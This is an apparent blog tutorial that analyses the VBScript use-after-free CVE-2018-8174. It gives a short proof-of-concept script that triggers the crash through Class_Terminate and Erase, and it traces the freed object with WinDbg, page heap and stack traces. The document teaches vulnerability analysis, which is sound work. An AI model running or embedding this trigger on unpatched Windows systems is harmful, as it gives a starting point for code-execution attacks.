A Beginner's Guide to Understanding Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2018-8174)

Introduction

CVE-2018-8174 is a VBScript vulnerability which was found being exploited in the wild. The unique event related to this vulnerability is, though it is a VBScript vulnerability, it was found being exploited using MS Office. There is a blogpost by Qihoo 360 [1] performing a thorough analysis on Exploit Delivery, Vulnerability Root Cause, Exploitation Strategy, Payload etc. There is also a good blogpost from Kaspersky [2] where they have done a deeper analysis of the vulnerability. This post will focus on various techniques of reverse engineering internals of Windows VBScript Engine, to understand the vulnerability better.

Disclaimer: This post is meant to help beginner’s to take a deep dive analyzing memory corruption vulnerabilities in VBScript engine. If you are an experienced analyst most of the information discussed here is probably already known to you.


Prerequisites

The first requirement is to set-up a vulnerable VM. You can uninstall the May patch from an up to date installation of Windows and you should be good to go. In my analysis, I have specifically used Windows 7 SP1 32-bit. Generally, vulnerabilities related to VBScript Engine are analyzed using IE. But, we will use wscript.exe to analyze this vulnerability, as it is much easier to handle for debugging purposes and we don’t have to deal with IE cache issues. Also, I have used Windbg for debugging and IDA Freeware for Windows for disassembly. Using any other debugger, such as Immunity Debugger, OllyDbg, x64dbg will also work. Also you can use any other disassenmbler such as radare 2, Hopper, Binary Ninja etc.

First look at the crash

First we will start with a minimal POC for triggerring the vulnerability

Dim ArrA(1)
Dim ArrB(1)

Class ClassVuln
    Private Sub Class_Terminate()
        Set ArrB(0) = ArrA(0)
        ArrA(0) = 31337
    End Sub
End Class

Sub TriggerVuln
    Set ArrA(0) = New ClassVuln
    Erase ArrA
    Erase ArrB
End Sub

TriggerVuln

Let’s grab the POC code from 0patch blog [3] which is another good source of analysis for this vulnerability. We will save the above code in a file named poc.vbs. At first you can see that we have declared two VBScript arrays, ArrA and ArrB, each of size 1. Next we declared a class named ClassVuln inside which we wrote a function named Class_Terminate. This is a special function which will be called just before the destruction of a VBScript object. Class_Terminate is a deprecated and undocumented functionality in VBScript, but code corresponding to its implementation is not yet removed, so it can still be invoked. Inside TriggerVuln function we are setting the first element of ArrA to an object of type ClassVuln, then we are erasing ArrA and ArrB.

Now, let’s take a look what is happenning inside Class_Terminate function. Inside Class_Terminate 1st element of ArrB is being assigned the value of 1st element of ArrA, then in the next line the 1st element of ArrA is assigned the value of 31337. Don’t worry if this does not make any sense now, we will explore the basic concepts needed to understand the above code one by one.

Using GFLAGS for Heap Instrumentation

Before executing poc.vbs, we will turn on Page Heap and User stack trace database for WScript.exe using the following command from an administrator command-prompt

gflags.exe /i wscript.exe +hpa +ust

Now, we will launch wscript.exe under Windbg using the following command:

windbg.exe wscript.exe poc.vbs

The debugger will catch a crash as follows:

(49c.6d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=017e8fc0 ebx=00000020 ecx=00000009 edx=00000000 esi=03496fe0 edi=00000009
eip=75e649fa esp=0042e8d8 ebp=0042e8e0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
OLEAUT32!VariantClear+0xb3:
75e649fa 8b08            mov     ecx,dword ptr [eax]  ds:0023:017e8fc0=????????

Let’s dump the call stack using kb command:

 # ChildEBP RetAddr  Args to Child              
00 002eec00 77710130 03384fe0 03384fe0 0329cfe8 OLEAUT32!VariantClear+0xb3
01 002eec14 7770fdc8 0329cfe8 03384fe0 00000020 OLEAUT32!ReleaseResources+0xa3
02 002eec3c 77725b75 0329cfe8 00000001 002eec60 OLEAUT32!_SafeArrayDestroyData+0x41
03 002eec4c 77725b5b 0329cfe8 00732e88 0329cfe8 OLEAUT32!SafeArrayDestroyData+0xf
04 002eec60 6afe3d40 0329cfe8 59f523ba 002eecb4 OLEAUT32!Thunk_SafeArrayDestroyData+0x39
05 002eeca0 6af858f7 002eedb8 00000001 0072cf80 vbscript!VbsErase+0x90
06 002eecbc 6af8666b 002eedb8 00000001 0072cf80 vbscript!StaticEntryPoint::Call+0x2f
...

We can see that the crash occurred in OLEAUT32!VariantClear. By observing the function calls involved in the call stack more closely, we can assume that the crash happened while destroying some array from memory. So, let’s issue another command in Windbg to gather some information about the invalid memory address being referenced

0:000> !heap -p -a @eax
    address 017e8fc0 found in
    _DPH_HEAP_ROOT @ 1721000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    17224ac:          17e8000             2000
    6c9990b2 verifier!VerifierDisableFaultInjectionExclusionRange+0x00003162
    77ad69cc ntdll!RtlDebugFreeHeap+0x0000002f
    77a99e07 ntdll!RtlpFreeHeap+0x0000005d
    77a663a6 ntdll!RtlFreeHeap+0x00000142
    772698cd msvcrt!free+0x00000039
    6c8d6cfa vbscript!VBScriptClass::`vector deleting destructor'+0x0000001a
    6c92601b vbscript!VBScriptClass::CheckDelete+0x00000028
    75e64a00 OLEAUT32!VariantClear+0x000000b9
    75e70130 OLEAUT32!ReleaseResources+0x000000a3
    75e6fdc8 OLEAUT32!_SafeArrayDestroyData+0x00000041
    75e85b75 OLEAUT32!SafeArrayDestroyData+0x0000000f
    75e85b5b OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
    6c923d40 vbscript!VbsErase+0x00000090
    6c8c58f7 vbscript!StaticEntryPoint::Call+0x0000002f
    ...

From the above stack trace it is very much evident that the crash happened because poc.vbs was trying to access a freed memory. Also, we can see that the freed memory belonged to a VBScript class previously.


Understanding VBScript Array Allocation/Deallocation

First we have to do some analysis to find out how Arrays in VBScript are created and destroyed. We will write a small snippet of VBScript and analyze it with WinDbg

MsgBox "before Dim"
Dim ArrA(&h1000000)
MsgBox "After Dim, Before loop"
ArrA(0) = &h41414141
MsgBox ArrA(0)

Save the above code snippet in a file named 1.vbs. In the above script we are declaring a VBScript Array of size 0x1000000 and then we are assigning a value of 0x41414141 to the first element of the array. Our intention is to find out the address and layout of VBScript array in memory. Generally, heap memory allocations in Windows are done using ntdll!RtlAllocateHeap API. We can directly insert a breakpoint at it, but then the breakpoint will hit too many times. In order to avoid that we can open ole32.dll in IDA and identify that CRetailMalloc_Alloc() is a wrapper over RtlAllocateHeap() and is responsible to call it. CRetailMalloc_Alloc() accepts 2 parameters, out of which the 2nd parameter represents size of the requested heap chunk. Now, going back to 1.vbs, at line 2 we are creating an array of size 0x1000000. We should look for this number or a value slightly bigger than this number being passed to the 2nd parameter of CRetailMalloc_Alloc().

First we will wait for the first MsgBox to display the message before Dim, next we will break inside the debugger and insert a breakpoint at ole32!CRetailMalloc_Alloc, then we will continue execution. In my case, on hitting the breakpoint second time I found the value 0x10000010 being passed to the 2nd parameter. If we dump call stack at this point, we will see the following:

 # ChildEBP RetAddr  Args to Child              
00 0019ec30 7711ddbb 75bf66bc 10000010 00000000 ole32!CRetailMalloc_Alloc [d:\w7rtm\com\ole32\com\class\memapi.cxx @ 637]
01 0019ec48 7711e2f1 75bf66bc 00000001 00000001 OLEAUT32!SafeArrayAllocData+0x39
02 0019ec60 6d8c3dc4 03400fe8 00000010 00190800 OLEAUT32!SafeArrayCreate+0x89
03 0019ee80 6d8c3e35 0019f118 00000000 0173be00 vbscript!MakeArray+0x68
...

By observing the call stack we can be sure that this allocation is indeed related to allocation of ArrA. OLEAUT32!SafeArrayCreate() is infact a documented API in MSDN

SAFEARRAY* SafeArrayCreate(
  _In_ VARTYPE        vt,
  _In_ UINT           cDims,
  _In_ SAFEARRAYBOUND *rgsabound
);
  • vt - VARTYPE of each element of the array
  • cDims - The no. of dimensions in the array
  • rgsabound - A vector for bounds (one for each dimension) to allocate for the array

OLEAUT32!SafeArrayCreate returns address of SAFEARRAY. Hence, if we can get the address returned by SafeArrayCreate(), we will be able to dump the contents of the newly allocated array. So, we will restart our debugging session, wait for the first MsgBox to pop-up, break into the debugger and insert a breakpoint at OLEAUT32!SafeArrayCreate and continue our execution. As soon as we will click OK on the MsgBox, our breakpoint will be hit. Now, we can issue gu or press Shift+F12 to complete the execution of SafeArrayCreate() and pass control to its caller. The debugger should again break at vbscript!MakeArray+0x68, and the register EAX will contain the address of the newly allocated SAFEARRAY.

0:000> dt ole32!SAFEARRAY @eax
 +0x000 cDims            : 1
 +0x002 fFeatures        : 0x880
 +0x004 cbElements       : 0x10
 +0x008 cLocks           : 0
 +0x00c pvData           : 0x04de0ff0 Void
 +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
  • cDims contains the value 1, and shows that our array is 1-dimensional
  • The value of fFeatures can be interpreted as follows:
    • FADF_HAVE_VARTYPE (0x0080) - The array has a variant type
    • FADF_VARIANT (0x0800) - An array of VARIANTs
  • cbElements contains the value 0x10, even though we tried to create an array of 0x1000000 elements. I am not sure why is it so, but may be its an optimization, because we are assigning value just to the first element of the array and rest of the elements are unused.

As we already know that the array is of type VARIANT, we can try to dump the contents of the array as follows.

0:000> dt ole32!tagVARIANT 0x04de0ff0
   +0x000 vt               : 0
   +0x002 wReserved1       : 0
   +0x004 wReserved2       : 0
   +0x006 wReserved3       : 0
   +0x008 llVal            : 0n0
   +0x008 lVal             : 0n0

We can see that even though ArrA has been allocated its values are not yet populated. The actual value will be at tagVARIANT+8. We will insert a breakpoint using baw4 0x5030ff0 + 8, which means the breakpoint will be hit whenever there is an attempt to write 4 bytes at the given address. Now, we will continue our execution and the second MsgBox will be shown. As soon as we click on OK, the breakpoint will hit, and execution will break inside vbscript!AssignVar. We can conclude that vbscript!AssignVar() assigns the value passed by the user to the array.

0:000> dt ole32!SAFEARRAY 02786fe8
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x892
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x04de0ff0 Void
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

The above output shows the state of the array after AssignVar() returns. Notice the change in fFeatures, now the array is also marked as

  • FADF_STATIC (0x0002) - The array is statically allocated
  • FADF_FIXED_SIZE (0x0010) - The array cannot be resized or reallocated

The contents of the array can be dumped as below:

0:000> dt ole32!tagVARIANT 0x04de0ff0
   +0x000 vt               : 3
   ...
   +0x008 lVal             : 0n1094795585
   ...
   +0x008 ulVal            : 0x41414141
   ...

We can observe that the element of ArrA has been populated now, and exactly matches the value passed in line 4 of 1.vbs. The value of vt above is 3 which corresponds to the type vbLong (Long integer).

Dissecting the vulnerability

Now, lets add few MsgBox to poc.vbs and save the file as pocmsg.vbs. The content of pocmsg.vbs is as follows:

Dim ArrA(1)
MsgBox "Creating ArrB now..."
Dim ArrB(1)

Class ClassVuln
    Private Sub Class_Terminate()
        Msg "Setting ArrB(0) to Arr(0)..."
        Set ArrB(0) = ArrA(0)
        ArrA(0) = 31337
    End Sub
End Class

Sub TriggerVuln
    MsgBox "Setting ArrA(0) to ClassVuln object ..."
    Set ArrA(0) = New ClassVuln
    MsgBox "Erasing ArrA now"
    Erase ArrA
    MsgBox "Erasing ArrB now"
    Erase ArrB
    MsgBox "ArrB Erased!"
End Sub

TriggerVuln

We will execute the poc_msg.vbs under debugger, on the intial break we will issue the following command and resume execution

sxe ld vbscript

0:000> g
ModLoad: 6d7f0000 6d862000   C:\Windows\system32\vbscript.dll
eax=00ac0000 ebx=00000000 ecx=00241000 edx=00000000 esi=7ffdf000 edi=0023dc98
eip=771d70b4 esp=0023dbb0 ebp=0023dc04 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
771d70b4 c3              ret

As shown above, the debugger will break as soon as vbscript.dll is loaded in process memory. Now we will set a breakpoint on SafeArrayCreate and resume execution again

bp OLEAUT32!SafeArrayCreate

The above breakpoint will hit, now we will issue gu command, which will complete the execution of SafeArrayCreate and break again. The value of EAX now points to ArrA. In our case, the address of ArrA is 0x00752fe8

0:000> dt ole32!SAFEARRAY 00752fe8
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x03142fe0 Void
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
0:000> dd 0x3142fe0
03142fe0  00000000 00000000 00000000 00000000
03142ff0  00000000 00000000 00000000 00000000
03143000  ???????? ???????? ???????? ????????
...

The above dump shows that the address of ArrA->pvData is 0x03142fe0 and it is initialized to all zeros. Now if we continue execution, we will see our first MsgBox showing the message Creating ArrB now .... Our next target is to determine the address of ArrB. The breakpoint on OLEAUT32!SafeArrayCreate is already set, so as soon as we click on OK, the breakpoint will hit again.

0:000> dt ole32!SAFEARRAY 0369efe8
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x02bb4fe0 Void
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
0:000> dd 0x02bb4fe0
02bb4fe0  00000000 00000000 00000000 00000000
02bb4ff0  00000000 00000000 00000000 00000000
02bb5000  ???????? ???????? ???????? ????????
...

Similar to ArrA, we will obtain the addresses related to ArrB. The address of ArrB is 0x0369efe8 and the address of ArrB->pvData is 0x02bb4fe0. We will resume the execution again. This time we will see our second MsgBox popping on screen with the message Setting ArrA(0) to ClassVuln object..., we will click OK to resume execution. Now we will see the next MsgBox bearing the message Erasing ArrA now..., which means the allocation of ArrA and ArrB is complete now and the fields of pvData should be populated now.

  • dumping ArrA->pvData
    dt ole32!tagVARIANT 0x03142fe0
     +0x000 vt               : 9
     ...
     +0x008 byref            : 0x0092afd0 Void
     ...
    

    We can observe that the field vt (VarType) is 9, which correponds to vbObject and the address of this object is 0x0092afd0.

0:003> !heap -p -a 0x0092afd0
    address 0092afd0 found in
    _DPH_HEAP_ROOT @ 851000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                  85230c:           92afd0               30 -           92a000             2000
          vbscript!VBScriptClass::`vftable'
    6f0d8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77255e26 ntdll!RtlDebugAllocateHeap+0x00000030
    7721a376 ntdll!RtlpAllocateHeap+0x000000c4
    771e5ae0 ntdll!RtlAllocateHeap+0x0000023a
    76d69d45 msvcrt!malloc+0x0000008d
    76d6b0d7 msvcrt!operator new+0x0000001d
    6d80679e vbscript!VBScriptClass::Create+0x00000014
    ...

The output of above command shows that vbscript!VBScriptClass::Create is responsible for its allocation, and so its clear that this infact it is the address of an object of type VulnClass. Also the output below confirms it.

0:003> dps 0x0092afd0
0092afd0  6d7f13ec vbscript!VBScriptClass::`vftable'
0092afd4  00000001
0092afd8  0092ef78
0092afdc  0089df88
0092afe0  0000081c
0092afe4  00000000
0092afe8  00000000
0092afec  00932efc
0092aff0  00000000
0092aff4  0379efe4    <---------
0092aff8  00000000
0092affc  00000000
...

0:003> db 379efe4
0379efe4  43 00 6c 00 61 00 73 00-73 00 56 00 75 00 6c 00  C.l.a.s.s.V.u.l.
0379eff4   6e 00 00 00 c0 c0 c0 c0 -c0 c0 c0 c0  ??  ?? ??  ??  n...........????
...

So, at this point we have all the pieces of the puzzle, as follows: Element | Address ———|———– ArrA | 0x00752fe8 ArrA->pvData | 0x03142fe0 ArrB | 0x0369efe8 ArrB->pvData | 0x02bb4fe0 VulnClass Object | 0x0092afd0

Now, lets continue execution and click OK on the MsgBox, we will see the next MsgBox will show the message Setting ArrB(0) to Arr(0). This means we are inside function Class_Terminate(), let’s try to reason why this function is called on Erase ArrA. If we take a look at the MSDN documentation for Erase, it says that it is equivalent to assigning Nothing to each array variable. So, Erase should ideally set ArrA(0) = Nothing, this will make the reference count of VulnClass 0, and the process of freeing the memory occupied by object of VulnClass will start. But, if we dump ArrA again, we will see that ArrA->pvData still points to VulnClass and memory occupied by VulnClass is not yet freed. The reason behind it is that Class_Terminate() is called before the destruction of object, so the memory associated with it is still valid. We will resume the execution again and click OK on the MsgBox. This time we will see the next MsgBox showing the message Erasing ArrB now.

0:004> dd 0x02f78fe0
02f78fe0  00000000 00000000 00000000 00000000
02f78ff0  00000000 00000000 00000000 00000000

As seen above, the contents of ArrA->pvData is reset to 0. But, what about ArrB->pvData ? If you remember, inside Class_Terminate() there was a statement ArrB(0) = ArrA(0), which is equivalent to ArrB->pvData = ArrA->pvData. Lets dump ArrB->pvData

dt ole32!tagVARIANT 0x027c3fe0
   +0x000 vt               : 9
   ...
   +0x008 byref            : 0x0078afd0 Void

We can see that VarType of ArrB(0) is now set to vbObject and it is pointing to VulnClass

Now, lets recheck the memory occupied by VulnClass:

0:004> dd 0x0078afd0
0078afd0  ???????? ???????? ???????? ????????
0078afe0  ???????? ???????? ???????? ????????
...

We can see that the memory occupied by VulnClass is already freed and ArrB->pvData is now pointing to freed memory.

0:004> !heap -p -a 0x0078afd0
    address 0078afd0 found in
    _DPH_HEAP_ROOT @ 6b1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                     6b230c:           78a000             2000
    6e4390b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    772565f4 ntdll!RtlDebugFreeHeap+0x0000002f
    7721a0aa ntdll!RtlpFreeHeap+0x0000005d
    771e65a6 ntdll!RtlFreeHeap+0x00000142
    76d698cd msvcrt!free+0x000000cd
    6b6d31bd vbscript!VBScriptClass::`vector deleting destructor'+0x0000001a
    6b6d3283 vbscript!VBScriptClass::Release+0x00000046
    77104977 OLEAUT32!VariantClear+0x000000b9
    7711e325 OLEAUT32!ReleaseResources+0x000000a3
    7711dfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048
    77125d2d OLEAUT32!SafeArrayDestroyData+0x0000000f
    77125d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
    6b71a509 vbscript!VbsErase+0x00000050
    ...

The above output shows that the free operation was triggerred by vbscript!VbErase which in turn was called due to the statement Erase ArrA. Now, the next statement to be executed is Erase B, which will again trigger freeing of memory chunk pointed by 0x0078afd0. If we continue execution and click on OK, we will see the final crash as follows:

0:004> g
(3b8.cbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0078afd0 ebx=00000020 ecx=00000009 edx=00000000 esi=027c3fe0 edi=00000009
eip=77104971 esp=0026e504 ebp=0026e50c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
OLEAUT32!VariantClear+0xb3:
77104971 8b08            mov     ecx,dword ptr [eax]  ds:0023:0078afd0=????????

Now we can recognize that the crashing address belonged to VulnClass earlier, if we analyze disassembly around the crashing instruction, we will see that the crash happens because the code was dereferencing 0x0078afd0 in order to load its Virtual Pointer Table to the register ECX.

Size of VulnClass

0:007> !heap -p -a 0x0173afd0
    address 0173afd0 found in
    _DPH_HEAP_ROOT @ 1661000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                                    166230c:          173afd0               30 -          173a000             2000
          vbscript!VBScriptClass::`vftable'
    6dc68e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77255e26 ntdll!RtlDebugAllocateHeap+0x00000030
    7721a376 ntdll!RtlpAllocateHeap+0x000000c4
    771e5ae0 ntdll!RtlAllocateHeap+0x0000023a
    76d69d45 msvcrt!malloc+0x0000008d
    76d6b0d7 msvcrt!operator new+0x0000001d
    6dbf679e vbscript!VBScriptClass::Create+0x00000014

Summary

  • VBscript Array Creation/Destruction
    • array creation - vbscript!MakeArray -> oleaut32!SafeArrayCreate()
    • populating values in array - vbscript!AssignVar
    • array destruction - oleaut32!SafeArrayDestroy
  • Memory Allocation/Deallocation Wrappers
    • ole32!CRetailMalloc_Alloc - wrapper over ntdll!RtlAllocateHeap
    • ole32!CRetailMalloc_Free - wrapper over ntdll!RtlFreeHeap

References

[1] Analysis of CVE-2018-8174 VBScript 0day and APT actor related to Office targeted attack

[2] Root cause analysis of the latest Internet Explorer zero day – CVE-2018-8174

[3] Windows Updates Broke Your Networking? Free Micropatches To The Rescue (CVE-2018-8174)

Miscellaneous

Array Deallocation

  • Insert bp OLEAUT32!SafeArrayDestroy
    • 1st arg address of SAFEARRAY
  • bp at ole32!CRetailMalloc_Free
  • gu
    • 1st hit at free
      • arg - tagVARIANT address
    • 2nd hit at free
      • arg - SAFEARRAY - 10
 # ChildEBP RetAddr  Args to Child              
00 002bee04 7711dfea 75bf66bc 04bb0ff0 00000890 ole32!CRetailMalloc_Free [d:\w7rtm\com\ole32\com\class\memapi.cxx @ 680]
01 002bee1c 7711df3f 75bf66bc 00000001 00000000 OLEAUT32!_SafeArrayDestroyData+0x97
02 002bee38 7711defa 0276efe8 00000001 002bee8c OLEAUT32!_SafeArrayDestroy+0xaf
03 002bee48 6b8e26ab 0276efe8 0172bf78 0172ff74 OLEAUT32!SafeArrayDestroy+0xf
04 002bee8c 6b8d5fac 01725fe0 00000000 0171be00 vbscript!CVBScriptRegExpClassFactory::GetClassID+0x1b2a
05 002beea8 6b8d5d67 002bf924 002bf6e0 00000000 vbscript!CSession::Close+0x75
06 002beecc 006a56c6 0171be00 006a19af 00000000 vbscript!COleScript::Close+0xef
Written on September 9, 2018